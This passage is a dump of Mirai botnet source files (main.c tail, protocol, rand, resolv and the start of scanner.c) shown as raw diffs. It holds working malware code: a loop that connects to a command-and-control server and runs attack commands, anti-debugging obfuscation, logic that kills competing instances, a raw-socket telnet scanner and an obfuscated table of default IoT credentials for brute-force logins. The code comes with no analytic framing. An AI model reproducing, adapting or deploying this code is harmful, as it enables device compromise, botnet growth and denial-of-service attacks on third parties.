if (err != 0)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("[main] Error while connecting to CNC code=%d\n", err);
|
||||
#endif
|
||||
close(fd_serv);
|
||||
fd_serv = -1;
|
||||
sleep((rand_next() % 10) + 1);
|
||||
}
|
||||
else
|
||||
{
|
||||
uint8_t id_len = util_strlen(id_buf);
|
||||
|
||||
LOCAL_ADDR = util_local_addr();
|
||||
send(fd_serv, "\x00\x00\x00\x01", 4, MSG_NOSIGNAL);
|
||||
send(fd_serv, &id_len, sizeof (id_len), MSG_NOSIGNAL);
|
||||
if (id_len > 0)
|
||||
{
|
||||
send(fd_serv, id_buf, id_len, MSG_NOSIGNAL);
|
||||
}
|
||||
#ifdef DEBUG
|
||||
printf("[main] Connected to CNC. Local address = %d\n", LOCAL_ADDR);
|
||||
#endif
|
||||
}
|
||||
}
|
||||
}
|
||||
else if (fd_serv != -1 && FD_ISSET(fd_serv, &fdsetrd))
|
||||
{
|
||||
int n;
|
||||
uint16_t len;
|
||||
char rdbuf[1024];
|
||||
|
||||
// Try to read in buffer length from CNC
|
||||
errno = 0;
|
||||
n = recv(fd_serv, &len, sizeof (len), MSG_NOSIGNAL | MSG_PEEK);
|
||||
if (n == -1)
|
||||
{
|
||||
if (errno == EWOULDBLOCK || errno == EAGAIN || errno == EINTR)
|
||||
continue;
|
||||
else
|
||||
n = 0; // Cause connection to close
|
||||
}
|
||||
|
||||
// If n == 0 then we close the connection!
|
||||
if (n == 0)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("[main] Lost connection with CNC (errno = %d) 1\n", errno);
|
||||
#endif
|
||||
teardown_connection();
|
||||
continue;
|
||||
}
|
||||
|
||||
// Convert length to network order and sanity check length
|
||||
if (len == 0) // If it is just a ping, no need to try to read in buffer data
|
||||
{
|
||||
recv(fd_serv, &len, sizeof (len), MSG_NOSIGNAL); // skip buffer for length
|
||||
continue;
|
||||
}
|
||||
len = ntohs(len);
|
||||
if (len > sizeof (rdbuf))
|
||||
{
|
||||
close(fd_serv);
|
||||
fd_serv = -1;
|
||||
}
|
||||
|
||||
// Try to read in buffer from CNC
|
||||
errno = 0;
|
||||
n = recv(fd_serv, rdbuf, len, MSG_NOSIGNAL | MSG_PEEK);
|
||||
if (n == -1)
|
||||
{
|
||||
if (errno == EWOULDBLOCK || errno == EAGAIN || errno == EINTR)
|
||||
continue;
|
||||
else
|
||||
n = 0;
|
||||
}
|
||||
|
||||
// If n == 0 then we close the connection!
|
||||
if (n == 0)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("[main] Lost connection with CNC (errno = %d) 2\n", errno);
|
||||
#endif
|
||||
teardown_connection();
|
||||
continue;
|
||||
}
|
||||
|
||||
// Actually read buffer length and buffer data
|
||||
recv(fd_serv, &len, sizeof (len), MSG_NOSIGNAL);
|
||||
len = ntohs(len);
|
||||
recv(fd_serv, rdbuf, len, MSG_NOSIGNAL);
|
||||
|
||||
#ifdef DEBUG
|
||||
printf("[main] Received %d bytes from CNC\n", len);
|
||||
#endif
|
||||
|
||||
if (len > 0)
|
||||
attack_parse(rdbuf, len);
|
||||
}
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
static void anti_gdb_entry(int sig)
|
||||
{
|
||||
resolve_func = resolve_cnc_addr;
|
||||
}
|
||||
|
||||
static void resolve_cnc_addr(void)
|
||||
{
|
||||
struct resolv_entries *entries;
|
||||
|
||||
table_unlock_val(TABLE_CNC_DOMAIN);
|
||||
entries = resolv_lookup(table_retrieve_val(TABLE_CNC_DOMAIN, NULL));
|
||||
table_lock_val(TABLE_CNC_DOMAIN);
|
||||
if (entries == NULL)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("[main] Failed to resolve CNC address\n");
|
||||
#endif
|
||||
return;
|
||||
}
|
||||
srv_addr.sin_addr.s_addr = entries->addrs[rand_next() % entries->addrs_len];
|
||||
resolv_entries_free(entries);
|
||||
|
||||
table_unlock_val(TABLE_CNC_PORT);
|
||||
srv_addr.sin_port = *((port_t *)table_retrieve_val(TABLE_CNC_PORT, NULL));
|
||||
table_lock_val(TABLE_CNC_PORT);
|
||||
|
||||
#ifdef DEBUG
|
||||
printf("[main] Resolved domain\n");
|
||||
#endif
|
||||
}
|
||||
|
||||
static void establish_connection(void)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("[main] Attempting to connect to CNC\n");
|
||||
#endif
|
||||
|
||||
if ((fd_serv = socket(AF_INET, SOCK_STREAM, 0)) == -1)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("[main] Failed to call socket(). Errno = %d\n", errno);
|
||||
#endif
|
||||
return;
|
||||
}
|
||||
|
||||
fcntl(fd_serv, F_SETFL, O_NONBLOCK | fcntl(fd_serv, F_GETFL, 0));
|
||||
|
||||
// Should call resolve_cnc_addr
|
||||
if (resolve_func != NULL)
|
||||
resolve_func();
|
||||
|
||||
pending_connection = TRUE;
|
||||
connect(fd_serv, (struct sockaddr *)&srv_addr, sizeof (struct sockaddr_in));
|
||||
}
|
||||
|
||||
static void teardown_connection(void)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("[main] Tearing down connection to CNC!\n");
|
||||
#endif
|
||||
|
||||
if (fd_serv != -1)
|
||||
close(fd_serv);
|
||||
fd_serv = -1;
|
||||
sleep(1);
|
||||
}
|
||||
|
||||
static void ensure_single_instance(void)
|
||||
{
|
||||
static BOOL local_bind = TRUE;
|
||||
struct sockaddr_in addr;
|
||||
int opt = 1;
|
||||
|
||||
if ((fd_ctrl = socket(AF_INET, SOCK_STREAM, 0)) == -1)
|
||||
return;
|
||||
setsockopt(fd_ctrl, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof (int));
|
||||
fcntl(fd_ctrl, F_SETFL, O_NONBLOCK | fcntl(fd_ctrl, F_GETFL, 0));
|
||||
|
||||
addr.sin_family = AF_INET;
|
||||
addr.sin_addr.s_addr = local_bind ? (INET_ADDR(127,0,0,1)) : LOCAL_ADDR;
|
||||
addr.sin_port = htons(SINGLE_INSTANCE_PORT);
|
||||
|
||||
// Try to bind to the control port
|
||||
errno = 0;
|
||||
if (bind(fd_ctrl, (struct sockaddr *)&addr, sizeof (struct sockaddr_in)) == -1)
|
||||
{
|
||||
if (errno == EADDRNOTAVAIL && local_bind)
|
||||
local_bind = FALSE;
|
||||
#ifdef DEBUG
|
||||
printf("[main] Another instance is already running (errno = %d)! Sending kill request...\r\n", errno);
|
||||
#endif
|
||||
|
||||
// Reset addr just in case
|
||||
addr.sin_family = AF_INET;
|
||||
addr.sin_addr.s_addr = INADDR_ANY;
|
||||
addr.sin_port = htons(SINGLE_INSTANCE_PORT);
|
||||
|
||||
if (connect(fd_ctrl, (struct sockaddr *)&addr, sizeof (struct sockaddr_in)) == -1)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("[main] Failed to connect to fd_ctrl to request process termination\n");
|
||||
#endif
|
||||
}
|
||||
|
||||
sleep(5);
|
||||
close(fd_ctrl);
|
||||
killer_kill_by_port(htons(SINGLE_INSTANCE_PORT));
|
||||
ensure_single_instance(); // Call again, so that we are now the control
|
||||
}
|
||||
else
|
||||
{
|
||||
if (listen(fd_ctrl, 1) == -1)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("[main] Failed to call listen() on fd_ctrl\n");
|
||||
close(fd_ctrl);
|
||||
sleep(5);
|
||||
killer_kill_by_port(htons(SINGLE_INSTANCE_PORT));
|
||||
ensure_single_instance();
|
||||
#endif
|
||||
}
|
||||
#ifdef DEBUG
|
||||
printf("[main] We are the only process on this system!\n");
|
||||
#endif
|
||||
}
|
||||
}
|
||||
|
||||
static BOOL unlock_tbl_if_nodebug(char *argv0)
|
||||
{
|
||||
// ./dvrHelper = 0x2e 0x2f 0x64 0x76 0x72 0x48 0x65 0x6c 0x70 0x65 0x72
|
||||
char buf_src[18] = {0x2f, 0x2e, 0x00, 0x76, 0x64, 0x00, 0x48, 0x72, 0x00, 0x6c, 0x65, 0x00, 0x65, 0x70, 0x00, 0x00, 0x72, 0x00}, buf_dst[12];
|
||||
int i, ii = 0, c = 0;
|
||||
uint8_t fold = 0xAF;
|
||||
void (*obf_funcs[]) (void) = {
|
||||
(void (*) (void))ensure_single_instance,
|
||||
(void (*) (void))table_unlock_val,
|
||||
(void (*) (void))table_retrieve_val,
|
||||
(void (*) (void))table_init, // This is the function we actually want to run
|
||||
(void (*) (void))table_lock_val,
|
||||
(void (*) (void))util_memcpy,
|
||||
(void (*) (void))util_strcmp,
|
||||
(void (*) (void))killer_init,
|
||||
(void (*) (void))anti_gdb_entry
|
||||
};
|
||||
BOOL matches;
|
||||
|
||||
for (i = 0; i < 7; i++)
|
||||
c += (long)obf_funcs[i];
|
||||
if (c == 0)
|
||||
return FALSE;
|
||||
|
||||
// We swap every 2 bytes: e.g. 1, 2, 3, 4 -> 2, 1, 4, 3
|
||||
for (i = 0; i < sizeof (buf_src); i += 3)
|
||||
{
|
||||
char tmp = buf_src[i];
|
||||
|
||||
buf_dst[ii++] = buf_src[i + 1];
|
||||
buf_dst[ii++] = tmp;
|
||||
|
||||
// Meaningless tautology that gets you right back where you started
|
||||
i *= 2;
|
||||
i += 14;
|
||||
i /= 2;
|
||||
i -= 7;
|
||||
|
||||
// Mess with 0xAF
|
||||
fold += ~argv0[ii % util_strlen(argv0)];
|
||||
}
|
||||
fold %= (sizeof (obf_funcs) / sizeof (void *));
|
||||
|
||||
#ifndef DEBUG
|
||||
(obf_funcs[fold])();
|
||||
matches = util_strcmp(argv0, buf_dst);
|
||||
util_zero(buf_src, sizeof (buf_src));
|
||||
util_zero(buf_dst, sizeof (buf_dst));
|
||||
return matches;
|
||||
#else
|
||||
table_init();
|
||||
return TRUE;
|
||||
#endif
|
||||
}
|
34
mirai/bot/protocol.h
Executable file
34
mirai/bot/protocol.h
Executable file
@ -0,0 +1,34 @@
|
||||
#pragma once
|
||||
|
||||
#include <stdint.h>
|
||||
|
||||
#include "includes.h"
|
||||
|
||||
struct dnshdr {
|
||||
uint16_t id, opts, qdcount, ancount, nscount, arcount;
|
||||
};
|
||||
|
||||
struct dns_question {
|
||||
uint16_t qtype, qclass;
|
||||
};
|
||||
|
||||
struct dns_resource {
|
||||
uint16_t type, _class;
|
||||
uint32_t ttl;
|
||||
uint16_t data_len;
|
||||
} __attribute__((packed));
|
||||
|
||||
struct grehdr {
|
||||
uint16_t opts, protocol;
|
||||
};
|
||||
|
||||
#define PROTO_DNS_QTYPE_A 1
|
||||
#define PROTO_DNS_QCLASS_IP 1
|
||||
|
||||
#define PROTO_TCP_OPT_NOP 1
|
||||
#define PROTO_TCP_OPT_MSS 2
|
||||
#define PROTO_TCP_OPT_WSS 3
|
||||
#define PROTO_TCP_OPT_SACK 4
|
||||
#define PROTO_TCP_OPT_TSVAL 8
|
||||
|
||||
#define PROTO_GRE_TRANS_ETH 0x6558
|
84
mirai/bot/rand.c
Executable file
84
mirai/bot/rand.c
Executable file
@ -0,0 +1,84 @@
|
||||
#define _GNU_SOURCE
|
||||
|
||||
#include <stdint.h>
|
||||
#include <unistd.h>
|
||||
#include <stdlib.h>
|
||||
#include <time.h>
|
||||
|
||||
#include "includes.h"
|
||||
#include "rand.h"
|
||||
|
||||
static uint32_t x, y, z, w;
|
||||
|
||||
void rand_init(void)
|
||||
{
|
||||
x = time(NULL);
|
||||
y = getpid() ^ getppid();
|
||||
z = clock();
|
||||
w = z ^ y;
|
||||
}
|
||||
|
||||
uint32_t rand_next(void) //period 2^96-1
|
||||
{
|
||||
uint32_t t = x;
|
||||
t ^= t << 11;
|
||||
t ^= t >> 8;
|
||||
x = y; y = z; z = w;
|
||||
w ^= w >> 19;
|
||||
w ^= t;
|
||||
return w;
|
||||
}
|
||||
|
||||
void rand_str(char *str, int len) // Generate random buffer (not alphanumeric!) of length len
|
||||
{
|
||||
while (len > 0)
|
||||
{
|
||||
if (len >= 4)
|
||||
{
|
||||
*((uint32_t *)str) = rand_next();
|
||||
str += sizeof (uint32_t);
|
||||
len -= sizeof (uint32_t);
|
||||
}
|
||||
else if (len >= 2)
|
||||
{
|
||||
*((uint16_t *)str) = rand_next() & 0xFFFF;
|
||||
str += sizeof (uint16_t);
|
||||
len -= sizeof (uint16_t);
|
||||
}
|
||||
else
|
||||
{
|
||||
*str++ = rand_next() & 0xFF;
|
||||
len--;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void rand_alphastr(uint8_t *str, int len) // Random alphanumeric string, more expensive than rand_str
|
||||
{
|
||||
const char alphaset[] = "abcdefghijklmnopqrstuvw012345678";
|
||||
|
||||
while (len > 0)
|
||||
{
|
||||
if (len >= sizeof (uint32_t))
|
||||
{
|
||||
int i;
|
||||
uint32_t entropy = rand_next();
|
||||
|
||||
for (i = 0; i < sizeof (uint32_t); i++)
|
||||
{
|
||||
uint8_t tmp = entropy & 0xff;
|
||||
|
||||
entropy = entropy >> 8;
|
||||
tmp = tmp >> 3;
|
||||
|
||||
*str++ = alphaset[tmp];
|
||||
}
|
||||
len -= sizeof (uint32_t);
|
||||
}
|
||||
else
|
||||
{
|
||||
*str++ = rand_next() % (sizeof (alphaset));
|
||||
len--;
|
||||
}
|
||||
}
|
||||
}
|
10
mirai/bot/rand.h
Executable file
10
mirai/bot/rand.h
Executable file
@ -0,0 +1,10 @@
|
||||
#pragma once
|
||||
|
||||
#include <stdint.h>
|
||||
|
||||
#define PHI 0x9e3779b9
|
||||
|
||||
void rand_init(void);
|
||||
uint32_t rand_next(void);
|
||||
void rand_str(char *, int);
|
||||
void rand_alphastr(uint8_t *, int);
|
237
mirai/bot/resolv.c
Executable file
237
mirai/bot/resolv.c
Executable file
@ -0,0 +1,237 @@
|
||||
#define _GNU_SOURCE
|
||||
|
||||
#ifdef DEBUG
|
||||
#include <stdio.h>
|
||||
#endif
|
||||
#include <stdint.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/socket.h>
|
||||
#include <arpa/inet.h>
|
||||
#include <fcntl.h>
|
||||
#include <sys/select.h>
|
||||
#include <errno.h>
|
||||
|
||||
#include "includes.h"
|
||||
#include "resolv.h"
|
||||
#include "util.h"
|
||||
#include "rand.h"
|
||||
#include "protocol.h"
|
||||
|
||||
void resolv_domain_to_hostname(char *dst_hostname, char *src_domain)
|
||||
{
|
||||
int len = util_strlen(src_domain) + 1;
|
||||
char *lbl = dst_hostname, *dst_pos = dst_hostname + 1;
|
||||
uint8_t curr_len = 0;
|
||||
|
||||
while (len-- > 0)
|
||||
{
|
||||
char c = *src_domain++;
|
||||
|
||||
if (c == '.' || c == 0)
|
||||
{
|
||||
*lbl = curr_len;
|
||||
lbl = dst_pos++;
|
||||
curr_len = 0;
|
||||
}
|
||||
else
|
||||
{
|
||||
curr_len++;
|
||||
*dst_pos++ = c;
|
||||
}
|
||||
}
|
||||
*dst_pos = 0;
|
||||
}
|
||||
|
||||
static void resolv_skip_name(uint8_t *reader, uint8_t *buffer, int *count)
|
||||
{
|
||||
unsigned int jumped = 0, offset;
|
||||
*count = 1;
|
||||
while(*reader != 0)
|
||||
{
|
||||
if(*reader >= 192)
|
||||
{
|
||||
offset = (*reader)*256 + *(reader+1) - 49152;
|
||||
reader = buffer + offset - 1;
|
||||
jumped = 1;
|
||||
}
|
||||
reader = reader+1;
|
||||
if(jumped == 0)
|
||||
*count = *count + 1;
|
||||
}
|
||||
|
||||
if(jumped == 1)
|
||||
*count = *count + 1;
|
||||
}
|
||||
|
||||
struct resolv_entries *resolv_lookup(char *domain)
|
||||
{
|
||||
struct resolv_entries *entries = calloc(1, sizeof (struct resolv_entries));
|
||||
char query[2048], response[2048];
|
||||
struct dnshdr *dnsh = (struct dnshdr *)query;
|
||||
char *qname = (char *)(dnsh + 1);
|
||||
|
||||
resolv_domain_to_hostname(qname, domain);
|
||||
|
||||
struct dns_question *dnst = (struct dns_question *)(qname + util_strlen(qname) + 1);
|
||||
struct sockaddr_in addr = {0};
|
||||
int query_len = sizeof (struct dnshdr) + util_strlen(qname) + 1 + sizeof (struct dns_question);
|
||||
int tries = 0, fd = -1, i = 0;
|
||||
uint16_t dns_id = rand_next() % 0xffff;
|
||||
|
||||
util_zero(&addr, sizeof (struct sockaddr_in));
|
||||
addr.sin_family = AF_INET;
|
||||
addr.sin_addr.s_addr = INET_ADDR(8,8,8,8);
|
||||
addr.sin_port = htons(53);
|
||||
|
||||
// Set up the dns query
|
||||
dnsh->id = dns_id;
|
||||
dnsh->opts = htons(1 << 8); // Recursion desired
|
||||
dnsh->qdcount = htons(1);
|
||||
dnst->qtype = htons(PROTO_DNS_QTYPE_A);
|
||||
dnst->qclass = htons(PROTO_DNS_QCLASS_IP);
|
||||
|
||||
while (tries++ < 5)
|
||||
{
|
||||
fd_set fdset;
|
||||
struct timeval timeo;
|
||||
int nfds;
|
||||
|
||||
if (fd != -1)
|
||||
close(fd);
|
||||
if ((fd = socket(AF_INET, SOCK_DGRAM, 0)) == -1)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("[resolv] Failed to create socket\n");
|
||||
#endif
|
||||
sleep(1);
|
||||
continue;
|
||||
}
|
||||
|
||||
if (connect(fd, (struct sockaddr *)&addr, sizeof (struct sockaddr_in)) == -1)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("[resolv] Failed to call connect on udp socket\n");
|
||||
#endif
|
||||
sleep(1);
|
||||
continue;
|
||||
}
|
||||
|
||||
if (send(fd, query, query_len, MSG_NOSIGNAL) == -1)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("[resolv] Failed to send packet: %d\n", errno);
|
||||
#endif
|
||||
sleep(1);
|
||||
continue;
|
||||
}
|
||||
|
||||
fcntl(F_SETFL, fd, O_NONBLOCK | fcntl(F_GETFL, fd, 0));
|
||||
FD_ZERO(&fdset);
|
||||
FD_SET(fd, &fdset);
|
||||
|
||||
timeo.tv_sec = 5;
|
||||
timeo.tv_usec = 0;
|
||||
nfds = select(fd + 1, &fdset, NULL, NULL, &timeo);
|
||||
|
||||
if (nfds == -1)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("[resolv] select() failed\n");
|
||||
#endif
|
||||
break;
|
||||
}
|
||||
else if (nfds == 0)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("[resolv] Couldn't resolve %s in time. %d tr%s\n", domain, tries, tries == 1 ? "y" : "ies");
|
||||
#endif
|
||||
continue;
|
||||
}
|
||||
else if (FD_ISSET(fd, &fdset))
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("[resolv] Got response from select\n");
|
||||
#endif
|
||||
int ret = recvfrom(fd, response, sizeof (response), MSG_NOSIGNAL, NULL, NULL);
|
||||
char *name;
|
||||
struct dnsans *dnsa;
|
||||
uint16_t ancount;
|
||||
int stop;
|
||||
|
||||
if (ret < (sizeof (struct dnshdr) + util_strlen(qname) + 1 + sizeof (struct dns_question)))
|
||||
continue;
|
||||
|
||||
dnsh = (struct dnshdr *)response;
|
||||
qname = (char *)(dnsh + 1);
|
||||
dnst = (struct dns_question *)(qname + util_strlen(qname) + 1);
|
||||
name = (char *)(dnst + 1);
|
||||
|
||||
if (dnsh->id != dns_id)
|
||||
continue;
|
||||
if (dnsh->ancount == 0)
|
||||
continue;
|
||||
|
||||
ancount = ntohs(dnsh->ancount);
|
||||
while (ancount-- > 0)
|
||||
{
|
||||
struct dns_resource *r_data = NULL;
|
||||
|
||||
resolv_skip_name(name, response, &stop);
|
||||
name = name + stop;
|
||||
|
||||
r_data = (struct dns_resource *)name;
|
||||
name = name + sizeof(struct dns_resource);
|
||||
|
||||
if (r_data->type == htons(PROTO_DNS_QTYPE_A) && r_data->_class == htons(PROTO_DNS_QCLASS_IP))
|
||||
{
|
||||
if (ntohs(r_data->data_len) == 4)
|
||||
{
|
||||
uint32_t *p;
|
||||
uint8_t tmp_buf[4];
|
||||
for(i = 0; i < 4; i++)
|
||||
tmp_buf[i] = name[i];
|
||||
|
||||
p = (uint32_t *)tmp_buf;
|
||||
|
||||
entries->addrs = realloc(entries->addrs, (entries->addrs_len + 1) * sizeof (ipv4_t));
|
||||
entries->addrs[entries->addrs_len++] = (*p);
|
||||
#ifdef DEBUG
|
||||
printf("[resolv] Found IP address: %08x\n", (*p));
|
||||
#endif
|
||||
}
|
||||
|
||||
name = name + ntohs(r_data->data_len);
|
||||
} else {
|
||||
resolv_skip_name(name, response, &stop);
|
||||
name = name + stop;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
break;
|
||||
}
|
||||
|
||||
close(fd);
|
||||
|
||||
#ifdef DEBUG
|
||||
printf("Resolved %s to %d IPv4 addresses\n", domain, entries->addrs_len);
|
||||
#endif
|
||||
|
||||
if (entries->addrs_len > 0)
|
||||
return entries;
|
||||
else
|
||||
{
|
||||
resolv_entries_free(entries);
|
||||
return NULL;
|
||||
}
|
||||
}
|
||||
|
||||
void resolv_entries_free(struct resolv_entries *entries)
|
||||
{
|
||||
if (entries == NULL)
|
||||
return;
|
||||
if (entries->addrs != NULL)
|
||||
free(entries->addrs);
|
||||
free(entries);
|
||||
}
|
12
mirai/bot/resolv.h
Executable file
12
mirai/bot/resolv.h
Executable file
@ -0,0 +1,12 @@
|
||||
#pragma once
|
||||
|
||||
#include "includes.h"
|
||||
|
||||
struct resolv_entries {
|
||||
uint8_t addrs_len;
|
||||
ipv4_t *addrs;
|
||||
};
|
||||
|
||||
void resolv_domain_to_hostname(char *, char *);
|
||||
struct resolv_entries *resolv_lookup(char *);
|
||||
void resolv_entries_free(struct resolv_entries *);
|
991
mirai/bot/scanner.c
Executable file
991
mirai/bot/scanner.c
Executable file
@ -0,0 +1,991 @@
|
||||
#define _GNU_SOURCE
|
||||
|
||||
#ifdef MIRAI_TELNET
|
||||
|
||||
#ifdef DEBUG
|
||||
#include <stdio.h>
|
||||
#endif
|
||||
#include <unistd.h>
|
||||
#include <stdlib.h>
|
||||
#include <sys/socket.h>
|
||||
#include <arpa/inet.h>
|
||||
#include <sys/select.h>
|
||||
#include <sys/types.h>
|
||||
#include <time.h>
|
||||
#include <fcntl.h>
|
||||
#include <signal.h>
|
||||
#include <errno.h>
|
||||
#include <string.h>
|
||||
#include <linux/ip.h>
|
||||
#include <linux/tcp.h>
|
||||
|
||||
#include "includes.h"
|
||||
#include "scanner.h"
|
||||
#include "table.h"
|
||||
#include "rand.h"
|
||||
#include "util.h"
|
||||
#include "checksum.h"
|
||||
#include "resolv.h"
|
||||
|
||||
int scanner_pid, rsck, rsck_out, auth_table_len = 0;
|
||||
char scanner_rawpkt[sizeof (struct iphdr) + sizeof (struct tcphdr)] = {0};
|
||||
struct scanner_auth *auth_table = NULL;
|
||||
struct scanner_connection *conn_table;
|
||||
uint16_t auth_table_max_weight = 0;
|
||||
uint32_t fake_time = 0;
|
||||
|
||||
int recv_strip_null(int sock, void *buf, int len, int flags)
|
||||
{
|
||||
int ret = recv(sock, buf, len, flags);
|
||||
|
||||
if (ret > 0)
|
||||
{
|
||||
int i = 0;
|
||||
|
||||
for(i = 0; i < ret; i++)
|
||||
{
|
||||
if (((char *)buf)[i] == 0x00)
|
||||
{
|
||||
((char *)buf)[i] = 'A';
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
||||
void scanner_init(void)
|
||||
{
|
||||
int i;
|
||||
uint16_t source_port;
|
||||
struct iphdr *iph;
|
||||
struct tcphdr *tcph;
|
||||
|
||||
// Let parent continue on main thread
|
||||
scanner_pid = fork();
|
||||
if (scanner_pid > 0 || scanner_pid == -1)
|
||||
return;
|
||||
|
||||
LOCAL_ADDR = util_local_addr();
|
||||
|
||||
rand_init();
|
||||
fake_time = time(NULL);
|
||||
conn_table = calloc(SCANNER_MAX_CONNS, sizeof (struct scanner_connection));
|
||||
for (i = 0; i < SCANNER_MAX_CONNS; i++)
|
||||
{
|
||||
conn_table[i].state = SC_CLOSED;
|
||||
conn_table[i].fd = -1;
|
||||
}
|
||||
|
||||
// Set up raw socket scanning and payload
|
||||
if ((rsck = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("[scanner] Failed to initialize raw socket, cannot scan\n");
|
||||
#endif
|
||||
exit(0);
|
||||
}
|
||||
fcntl(rsck, F_SETFL, O_NONBLOCK | fcntl(rsck, F_GETFL, 0));
|
||||
i = 1;
|
||||
if (setsockopt(rsck, IPPROTO_IP, IP_HDRINCL, &i, sizeof (i)) != 0)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("[scanner] Failed to set IP_HDRINCL, cannot scan\n");
|
||||
#endif
|
||||
close(rsck);
|
||||
exit(0);
|
||||
}
|
||||
|
||||
do
|
||||
{
|
||||
source_port = rand_next() & 0xffff;
|
||||
}
|
||||
while (ntohs(source_port) < 1024);
|
||||
|
||||
iph = (struct iphdr *)scanner_rawpkt;
|
||||
tcph = (struct tcphdr *)(iph + 1);
|
||||
|
||||
// Set up IPv4 header
|
||||
iph->ihl = 5;
|
||||
iph->version = 4;
|
||||
iph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct tcphdr));
|
||||
iph->id = rand_next();
|
||||
iph->ttl = 64;
|
||||
iph->protocol = IPPROTO_TCP;
|
||||
|
||||
// Set up TCP header
|
||||
tcph->dest = htons(23);
|
||||
tcph->source = source_port;
|
||||
tcph->doff = 5;
|
||||
tcph->window = rand_next() & 0xffff;
|
||||
tcph->syn = TRUE;
|
||||
|
||||
// Set up passwords
|
||||
add_auth_entry("\x50\x4D\x4D\x56", "\x5A\x41\x11\x17\x13\x13", 10); // root xc3511
|
||||
add_auth_entry("\x50\x4D\x4D\x56", "\x54\x4B\x58\x5A\x54", 9); // root vizxv
|
||||
add_auth_entry("\x50\x4D\x4D\x56", "\x43\x46\x4F\x4B\x4C", 8); // root admin
|
||||
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x43\x46\x4F\x4B\x4C", 7); // admin admin
|
||||
add_auth_entry("\x50\x4D\x4D\x56", "\x1A\x1A\x1A\x1A\x1A\x1A", 6); // root 888888
|
||||
add_auth_entry("\x50\x4D\x4D\x56", "\x5A\x4F\x4A\x46\x4B\x52\x41", 5); // root xmhdipc
|
||||
add_auth_entry("\x50\x4D\x4D\x56", "\x46\x47\x44\x43\x57\x4E\x56", 5); // root default
|
||||
add_auth_entry("\x50\x4D\x4D\x56", "\x48\x57\x43\x4C\x56\x47\x41\x4A", 5); // root juantech
|
||||
add_auth_entry("\x50\x4D\x4D\x56", "\x13\x10\x11\x16\x17\x14", 5); // root 123456
|
||||
add_auth_entry("\x50\x4D\x4D\x56", "\x17\x16\x11\x10\x13", 5); // root 54321
|
||||
add_auth_entry("\x51\x57\x52\x52\x4D\x50\x56", "\x51\x57\x52\x52\x4D\x50\x56", 5); // support support
|
||||
add_auth_entry("\x50\x4D\x4D\x56", "", 4); // root (none)
|
||||
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x52\x43\x51\x51\x55\x4D\x50\x46", 4); // admin password
|
||||
add_auth_entry("\x50\x4D\x4D\x56", "\x50\x4D\x4D\x56", 4); // root root
|
||||
add_auth_entry("\x50\x4D\x4D\x56", "\x13\x10\x11\x16\x17", 4); // root 12345
|
||||
add_auth_entry("\x57\x51\x47\x50", "\x57\x51\x47\x50", 3); // user user
|
||||
add_auth_entry("\x43\x46\x4F\x4B\x4C", "", 3); // admin (none)
|
||||
add_auth_entry("\x50\x4D\x4D\x56", "\x52\x43\x51\x51", 3); // root pass
|
||||
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x43\x46\x4F\x4B\x4C\x13\x10\x11\x16", 3); // admin admin1234
|
||||
add_auth_entry("\x50\x4D\x4D\x56", "\x13\x13\x13\x13", 3); // root 1111
|
||||
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x51\x4F\x41\x43\x46\x4F\x4B\x4C", 3); // admin smcadmin
|
||||
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x13\x13\x13\x13", 2); // admin 1111
|
||||
add_auth_entry("\x50\x4D\x4D\x56", "\x14\x14\x14\x14\x14\x14", 2); // root 666666
|
||||
add_auth_entry("\x50\x4D\x4D\x56", "\x52\x43\x51\x51\x55\x4D\x50\x46", 2); // root password
|
||||
add_auth_entry("\x50\x4D\x4D\x56", "\x13\x10\x11\x16", 2); // root 1234
|
||||
add_auth_entry("\x50\x4D\x4D\x56", "\x49\x4E\x54\x13\x10\x11", 1); // root klv123
|
||||
add_auth_entry("\x63\x46\x4F\x4B\x4C\x4B\x51\x56\x50\x43\x56\x4D\x50", "\x4F\x47\x4B\x4C\x51\x4F", 1); // Administrator admin
|
||||
add_auth_entry("\x51\x47\x50\x54\x4B\x41\x47", "\x51\x47\x50\x54\x4B\x41\x47", 1); // service service
|
||||
add_auth_entry("\x51\x57\x52\x47\x50\x54\x4B\x51\x4D\x50", "\x51\x57\x52\x47\x50\x54\x4B\x51\x4D\x50", 1); // supervisor supervisor
|
||||
add_auth_entry("\x45\x57\x47\x51\x56", "\x45\x57\x47\x51\x56", 1); // guest guest
|
||||
add_auth_entry("\x45\x57\x47\x51\x56", "\x13\x10\x11\x16\x17", 1); // guest 12345
|
||||
add_auth_entry("\x45\x57\x47\x51\x56", "\x13\x10\x11\x16\x17", 1); // guest 12345
|
||||
add_auth_entry("\x43\x46\x4F\x4B\x4C\x13", "\x52\x43\x51\x51\x55\x4D\x50\x46", 1); // admin1 password
|
||||
add_auth_entry("\x43\x46\x4F\x4B\x4C\x4B\x51\x56\x50\x43\x56\x4D\x50", "\x13\x10\x11\x16", 1); // administrator 1234
|
||||
